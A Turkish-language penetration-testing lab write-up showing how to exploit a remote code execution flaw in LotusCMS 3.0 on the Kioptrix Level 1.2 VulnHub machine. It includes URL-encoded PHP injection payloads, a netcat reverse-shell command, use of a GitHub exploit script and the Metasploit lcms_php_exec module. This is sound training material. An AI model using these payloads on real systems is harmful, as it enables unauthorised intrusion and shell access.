LotusCMS Uzaktan Kod Çalıştırma Zafiyetinin İstismarı

Web uygulamaları sızma testleri sırasında kullanılan platformalar istismar edilebilir. Bu yazıda, web hizmeti veren Kioptrix (Seviye – 1.2[#3]) sanal makinesindeki Lotus CMS üzerindeki uzaktan kod çalıştırma zafiyeti istismar edilerek Web servisini çalıştıran kullanıcı hesabının (www-data) hakları ile komut satırı erişimi elde edilecektir.

Yazıda kullanılan Kioptrix: Seviye – 1.2 (#3) sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/kioptrix-level-12-3,24/

Web uygulamasının kaynak kodlarına bakıldığında Lotus CMS kullanıldığına dair bir ipucu görülmektedir.

 

whatweb” aracı ile de Lotus CMS kullanılmış olabileceği görülmektedir.

whatweb 10.10.2.179

 

Lotus CMS üzerindeki zafiyetlerin istismarı için Google’da araştırma yapıldığında 2 bağlantıya yönlendirilmektedir.

 

Mevcut zafiyet LotusCMS 3.0‘daki Router() fonksiyonunda bulunmaktadır. “page” parametresine verilen PHP kodu bir kontrolden geçmeden eval() fonksiyonuna gönderilmektedir.

 

1) Manuel Olarak Lotus CMS İstismarı

URL’e hata verdirmek için tırnak işareti atıldığında eval() fonksiyonunun beklenmediği bir veri ile karşılaştığı görülmektedir.

http://10.10.2.179/index.php?page=index’
Warning: Unexpected character in input: ”’ (ASCII=39) state=1 in /home/www/kioptrix3.com/core/lib/router.php(26) : eval()’d code on line 1

 

LotusCMS üzerinde zafiyetin mevcudiyetinin keşfi için basit bir test ifadesi ekrana yazdırılır.

page=index’);${print(‘MERHABA’)};#
http://10.10.2.179/index.php?page=index%27%29%3B%24%7Bprint%28%27MERHABA%27%29%7D%3B%23

 

Sonra da ekrana yazı yazdırmak yerine herhangi bir komut çalıştırılabilir. Örneğin, ters bağlantı sağlayacak bir “nc” talebi başlatılabilir.

Öncelikle bu talebi yakayacak bir dinleyici başlatılır.

nc -nlvp 9443

 

Sonra da “nc” başlatılarak dinleyiciye ters bağlantı talebinde bulunulur.

page=index’);${system(‘nc -e /bin/bash 10.10.2.128 9443’)};#”
http://10.10.2.179/index.php?page=index%27%29%3B%24%7Bsystem%28%27nc%20-e%20%2fbin%2fbash%2010.10.2.128%209443%27%29%7D%3B%23%22

 

2) Github’dan İndirilen Bash Betiği ile Lotus CMS İstismarı

Tespit edilen Github linkindeki istismar kodu indirildiğinde, bash betiğinin kullanımı görülmektedir.

wget https://raw.githubusercontent.com/Hood3dRob1n/LotusCMS-Exploit/master/lotusRCE.sh
head -20 lotusRCE.sh

 

Betik çalıştırılabilir hale getirildikten sonra çalıştırılır.

ls -la lotusRCE.sh
chmod 744 lotusRCE.sh
./lotusRCE.sh 10.10.2.179 /

 

“/” dizininde PHP kod enjeksiyonu zafiyetinin olduğu görülmektedir.

 

Ters bağlantının sağlanacağı IP ve port bilgisi belirtilir.

 

Dinleyici başlatılır.

nc -nlvp 8443

 

Bağlantı yöntemi (nc -e) seçimi yapıldığında ters bağlantı edilmiş olur.

id
uname -a

 

3) MSF lcms_php_exec Modülü İle Lotus CMS İstismarı

searchsploit” ile Lotus CMS zafiyetleri araştırıldığında bir ruby kodu tespit edilir.

searchsploit lotuscms

 

MSF lcms_php_exec istismar modülü seçilir.

search LotusCMS
use exploit/multi/http/lcms_php_exec
show options

 

IP ve URI ayarı yapılarak istismar gerçekleştirilir.

set RHOST 10.10.2.179
set URI /
exploit
getuid
shell
uname -a
tail -3 /etc/passwd

 

Kaynak:

https://kongwenbin.wordpress.com/2016/10/30/writeup-for-kioptrix-level-1-2-3/

Kioptrix Level 3


https://www.doyler.net/security-not-included/kioptrix-level-1-2-3-walkthrough

 

 

Yazarın Bilgileri

Ertuğrul BAŞARANOĞLU
Ertuğrul BAŞARANOĞLU

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Kullanabileceğiniz HTLM etiketleri ve özellikleri: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

Bu sayfada incelenen konulardan doğacak sorunlar kişinin kendi sorumluluğundadır.